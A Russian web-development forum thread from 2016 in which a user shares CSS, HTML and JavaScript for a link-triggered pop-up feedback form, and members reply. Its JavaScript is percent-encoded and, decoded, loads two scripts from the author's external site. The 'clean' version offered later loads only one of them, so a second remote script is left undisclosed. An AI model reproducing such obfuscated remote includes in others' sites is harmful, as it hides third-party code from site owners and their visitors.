• Страница 1 из 1
  • 1
Форум » Веб-разработка » HTML + CSS — коды » POP-UP окно вызываем ссылкой (скрипт)
POP-UP окно вызываем ссылкой
workman
Вторник, 05 Января 2016 | Сообщение 1
Оффлайн
Проверенные
Сообщений:1716
Награды: 9


Вызов окна по ссылке. Я его заточил у себя под форму обратной связи, а вы под что пожелаете

Для начала устанавливаем стили окна (редактируем под себя)
CSS
Код

<style>
#win{
position:absolute;
z-index:2000;
top:0;
left:0;
display:none;
height:100%;
width:100%;
}
.popup_forma {padding: 20px;}
.popup_text{font-size: 28px;text-transform: uppercase;}
.popup_text1{font-size: 18px;}
#popup{
padding:0;
background:#F49A20;
position:fixed;
border-radius: 5px;
width:400px;
height:400px;
z-index:3000;
text-align:center;
border: 1px solid #868484;
box-shadow: 0 3px 10px 0 #C0C0C0;
}
#cancel{
display:block;
float:right;
width:15px;
height:15px;
background:url(http://www.brigada31.ru/iconka/4971630.png) no-repeat;
cursor:pointer;
position:absolute;
top:4px;
right:4px;
}
#obj{display:none;}
.sample{padding:20px;color: rgb(250, 252, 252);}
</style>

Сразу после него ставим вот этот скрипт
JS
Код
<script type="text/javascript">
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%53%6B%72%69%70%74%73%2F%41%6A%61%78%5F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%63%73%73%2F%73%65%64%5F%32%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%50%6F%70%55%70%28%24%28%27%23%6F%62%6A%27%29%2C%20%24%28%27%23%74%72%69%67%67%27%29%29%3B%7D%29%3B%3C%2F%73%63%72%69%70%74%3E'));
</script>
HTML
Код

<div id="obj"><div class="sample">
<div class="popup_text">Оставьте заявку</div><br>
<div class="popup_text1">на бесплатную консультацию</div>
<div class="popup_forma">$MFORM_15$</div>
</div></div>

Ну а данную ссылку ставим по месту, где нужно вызвать
Код
<a id="trigg" href="javascript:void(0);">Показать POP-UP окно</a>


Смотреть ДЕМО (снизу справа выскочит кнопка вызова обратной связи )
Если немного подождать когда автоматически исчезнет кнопка, то появятся кнопки соцсети
Прикрепления: 9570780.png (33.8 Kb)


Сообщение отредактировал
workman - Вторник, 05 Января 2016, 00:59
Страна: (RU)
Kosten
Вторник, 05 Января 2016 | Сообщение 2
Оффлайн
Администраторы
Сообщений:44267
Награды: 70
workman, это реально круто, и обратная связь может быть, а также интернет магазин, что типа кто то там онлайн и ответит вам.
Страна: (RU)
Сопрано
Вторник, 05 Января 2016 | Сообщение 3
Оффлайн
Vip
Сообщений:462
Награды: 4
Вот это понимаю, со своего сайта человек вытащил, мне сам код нужен, а на что нажимать, можно и свое поставить.
Страна: (RU)
FeStemBer
Вторник, 05 Января 2016 | Сообщение 4
Оффлайн
Проверенные
Сообщений:355
Награды: 1
Нормально, всегда пригодиться.
Страна: (RU)
Траст
Вторник, 05 Января 2016 | Сообщение 5
Оффлайн
Пользователи
Сообщений:101
Награды: 0
Но скажем на любой серьезном сайте, такая функция стоит, не считая продажи.

Быстро, дешево и сердито!
Страна: (RU)
workman
Вторник, 05 Января 2016 | Сообщение 6
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
Цитата Trantel ()
Вот это понимаю, со своего сайта человек вытащил
а я практически всегда ставлю все со своего biggrin
Страна: (RU)
Kvint
Вторник, 05 Января 2016 | Сообщение 7
Оффлайн
Пользователи
Сообщений:83
Награды: 0
Траст, ты написал, что на серьезном сайте. А вот мне интересно, как различить, серьезен ли он, или там просто дурака валяют. Может просто хотел сказать, там сайты от компаний или телеканалов, а то что то не очень серьезно звучит твое описание.
Страна: (RU)
AnTron
Вторник, 05 Января 2016 | Сообщение 8
Оффлайн
Пользователи
Сообщений:37
Награды: 0
Возможно человек по своей аве судит, такое бывает, что в роль вошел и не выйдет.
Страна: (RU)
workman
Вторник, 05 Января 2016 | Сообщение 9
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
Цитата Kvint ()
А вот мне интересно, как различить, серьезен ли он, или там просто дурака валяют.

А что не приходилось встречать такие сайты? А мне вот большинство попадалось. Особенно когда его помогаешь делать а он его потом запускает или продает с других форумов
Страна: (RU)
Траст
Вторник, 05 Января 2016 | Сообщение 10
Оффлайн
Пользователи
Сообщений:101
Награды: 0
Вообщето здесь разговор идето скриптеа нео вашил предрасудках, кто от куда, а по сути не чего нет по теме.

Быстро, дешево и сердито!
Страна: (RU)
Марковичь
Вторник, 05 Января 2016 | Сообщение 11
Оффлайн
Vip
Сообщений:65
Награды: 0
Меня иногда пугают такие скрипты, где очень много цифр. wink
Что Траст, очкастым обзывают, не оброщайвнимание, они бездельники. biggrin
Страна: (RU)
workman
Вторник, 05 Января 2016 | Сообщение 12
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
Цитата nikolla76 ()
Меня иногда пугают такие скрипты, где очень много цифр.
На тогда чистый
Код
<script type="text/javascript" src="http://www.brigada31.ru/Skripts/Ajax_popup.js"></script><script type="text/javascript">$(document).ready(function(){PopUp($('#obj'), $('#trigg'));});</script>


[info]Только можете запомнить мой ник и себе понять что я тут грязного ничего не сую, так как делаю сам, ну или беру с инета и усовершенствую[/info]


Сообщение отредактировал
workman - Вторник, 05 Января 2016, 01:16
Страна: (RU)
Kosten
Вторник, 05 Января 2016 | Сообщение 13
Оффлайн
Администраторы
Сообщений:44267
Награды: 70
Бывает так что кто то не понимает и не чего не выходит, тогда давайте собираем полностью код вызова. Все очень просто, мы уже все собрали и нам нужно разместить.

ПУ » Главная » Управление дизайном » Редактирование шаблонов » Нижняя часть сайта » В самый низ того что мы там видим.



Код

<!-- ВЫЗОВ ОКНА ФОРМЫ ОБРАТКИ -->
<style>
#win{
position:absolute;
z-index:2000;
top:0;
left:0;
display:none;
height:100%;
width:100%;
}
.popup_forma {padding: 20px;}
.popup_text{font-size: 28px;text-transform: uppercase;}
.popup_text1{font-size: 18px;}
#popup{
padding:0;
background:#F49A20;
position:fixed;
border-radius: 5px;
width:400px;
height:400px;
z-index:3000;
text-align:center;
border: 1px solid #868484;
box-shadow: 0 3px 10px 0 #C0C0C0;
}
#cancel{
display:block;
float:right;
width:15px;
height:15px;
background:url(http://zornet.ru/Ajaxoskrip/SN/Drean/4971630.png) no-repeat;
cursor:pointer;
position:absolute;
top:4px;
right:4px;
}
#obj{display:none;}
.sample{padding:20px;color: rgb(250, 252, 252);}
</style>
<div id="obj"><div class="sample">
<div class="popup_text">Оставьте заявку</div><br>
<div class="popup_text1">на бесплатную консультацию</div>
<div class="popup_forma">$MFORM_1$</div>
</div></div>
<script type="text/javascript">
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%53%6B%72%69%70%74%73%2F%41%6A%61%78%5F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%63%73%73%2F%73%65%64%5F%32%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%50%6F%70%55%70%28%24%28%27%23%6F%62%6A%27%29%2C%20%24%28%27%23%74%72%69%67%67%27%29%29%3B%7D%29%3B%3C%2F%73%63%72%69%70%74%3E'));
</script>
<style>.workman_show{display:none;z-index:9999;position:fixed;height:auto;right:20px;bottom:0}</style>
<script type="text/javascript">$(document).ready(function(){setTimeout("$('.workman_show').show('drop');",5000);setTimeout("$('.workman_show').hide('drop');",15000)});</script>
<div class='workman_show'><a id="trigg" href="javascript:void(0);"><img src="http://www.brigada31.ru/iconka/svjaz_obratnaja.png"/></a></div>
<!-- /ВЫЗОВ ОКНА ФОРМЫ ОБРАТКИ -->
Прикрепления: 3870714.png (148.1 Kb)
Страна: (RU)
Форум » Веб-разработка » HTML + CSS — коды » POP-UP окно вызываем ссылкой (скрипт)
  • Страница 1 из 1
  • 1
Поиск: